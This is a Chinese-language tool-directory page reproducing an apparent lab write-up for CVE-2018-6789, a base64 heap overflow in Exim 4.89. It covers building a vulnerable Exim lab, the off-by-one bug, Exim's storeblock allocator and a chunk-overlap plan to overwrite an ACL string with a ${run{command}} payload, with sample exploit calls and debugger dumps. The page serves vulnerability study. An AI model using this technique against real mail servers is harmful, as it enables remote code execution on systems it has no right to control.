Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-6789 — CVE-2018-6789 的漏洞利用程序,针对 Exim 的 base64 解码中的堆缓冲区溢出,通过堆块重叠和 ACL 字符串操作实现远程代码执行。 | Kitploit
工具/GitHubGitHub/beraphin/cve-2018-6789
漏洞分析漏洞利用CTF学习与教育二进制利用实验室与实践
GitHubberaphin/cve-2018-6789

CVE-2018-6789

CVE-2018-6789 的漏洞利用程序,针对 Exim 的 base64 解码中的堆缓冲区溢出,通过堆块重叠和 ACL 字符串操作实现远程代码执行。

查看仓库
3166年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-6789

环境搭建

安装依赖

apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

下载旧版本的exim

wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

然后修改Local/Makefile 为了方便其中各个文件夹都指向当前目录下

BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

这样便于调试 然后编译安装

make install

修改./configure, 直接用下面内容覆盖

acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

运行

./bin/exim -bd -d-receive

漏洞分析

首先先分析位于base64.c中的patch: 1 其中result是base64解码结果存放的buffer,由store_get函数获取 可以发现patch之前的size计算是有问题的,当size属于4n~4n+3的范围里面的时候,计算得到的size的长度是相等的,但是b64decode对于非4的倍数的参数进行解码的时候会多解出一两个字节

比如我们直接发送

auth_md5('Hf'*42)

size=0x40
结果的内存分布:

pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

再试试

auth_md5('Hf'*42+'HfH')

size=0x40

pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

溢出了两个字节

Exim内存管理机制

exim为了提升性能在原有的堆管理机制上自己实现了一套内存管理机制,它相当于处于代码和glibc之间的一个中间缓冲,目的是减少malloc和free的次数 2 对于exim来说一个单独的堆块称为storeblock,每次使用时从里面分割出合适大小的缓冲区使用,如果一个storeblock用完了就再malloc一个storeblock。 对于每个storeblock来说,它的结构是一个简单的单链表:

/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

程序使用堆的时候主要使用的api在store.c中:

store_get
store_release
store_extend
store_reset

其中store_get用于获取缓冲区,关键代码如下:

128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */
162 
163   if (!newblock)
164     {
165     pool_malloc += mlength;           /* Used in pools */
166     nonpool_malloc -= mlength;        /* Exclude from overall total */
167     newblock = store_malloc(mlength);
...

可以看到每次申请的store_block最小长度为STORE_BLOCK_SIZE, 即8192

所以一个8192大小的store_block,加上它的结构头部以及堆块头部后总大小为0x2020 3

在exim每次执行client发送过来的指令的时候,如果指令执行成功,就会调用store_reset将不需要的缓存、多出来的store_block进行释放
这里指的执行成功包括指令的格式正确,邮箱不包含非法字符等等,否则不会调用store_reset

利用思路

这个漏洞是一个经典的off-by-one(尽管其实可以溢出2个字节),但是由于溢出的字节数较少,无法直接覆盖堆块上的敏感结构,所以这里需要通过一些ptmalloc的特性将这个漏洞的影响扩大,将其转化为一个更大范围的overflow, 或者说overlap
对于off-by-one的漏洞,有一个经典的利用方法就是chunk enlarge -> chunk overlap, 通过将堆块的size改大,再伪造一个堆头用于bypass glibc sanity check,以此达到堆块的重叠造成更大范围的覆盖。

这里主要的过程就是通过chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock,再触发store_reset造成一个任意堆块的free,再次申请到这个堆块就能对它的内容进行修改(type confusion)。 meh在文章中推荐修改ACL字符串所在的堆块,因为在ACL字串的处理中存在一个命令执行的功能 ACL的字符串非常多,但是大多数都是NULL(可能和配置文件有关),这里我选择的是acl_smtp_mail字符串,其执行命令的语法为

${run{command}}

大概的堆布局如下 4

其中第一个堆块是base64解码得到的堆块,用于off-by-one,因此它应该处于一个storeblock的末尾,为了方便起见这里直接申请一个大于0x2020的堆块存放base64解码结果;
第二个堆块为sender_helo_name,用于覆盖下一个堆块。sender_helo_name不是存在storeblock中,而是直接malloc出来的:

1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

所以大小随意;
第三个堆块为base64解码得到的堆块,主要用于伪造头部并被覆盖,因此它应该处于一个storeblock的起始部位,为了方便起见也直接申请0x2020大小。

Exploit

我的exp也是按照网上别人的分析一步一步得到的,大体思路不变,不过堆的布局和别人有些不一样,所有有些小的参数是不同的

首先先生成一个大小为0x6060的unsortedbin,只需要如下指令就能实现

ehlo('a'*0x1000)

当exim接收到"EHLO "+'a'*0x1000后,会在match.c的match_check_list函数中生成以下三个字符串

*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000

由于name的长度为0x1000,所以每个字符串会单独占用一个storeblock,这三个字符串就会分别处于连续的三个storeblock中 当exim成功完成ehlo指令后,会在smtp_in.c的smtp_setup_msg中将前面的三个字符串进行释放,得到一个0x6060大小的堆块:

4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

这时候的堆布局如下: 5

下载工具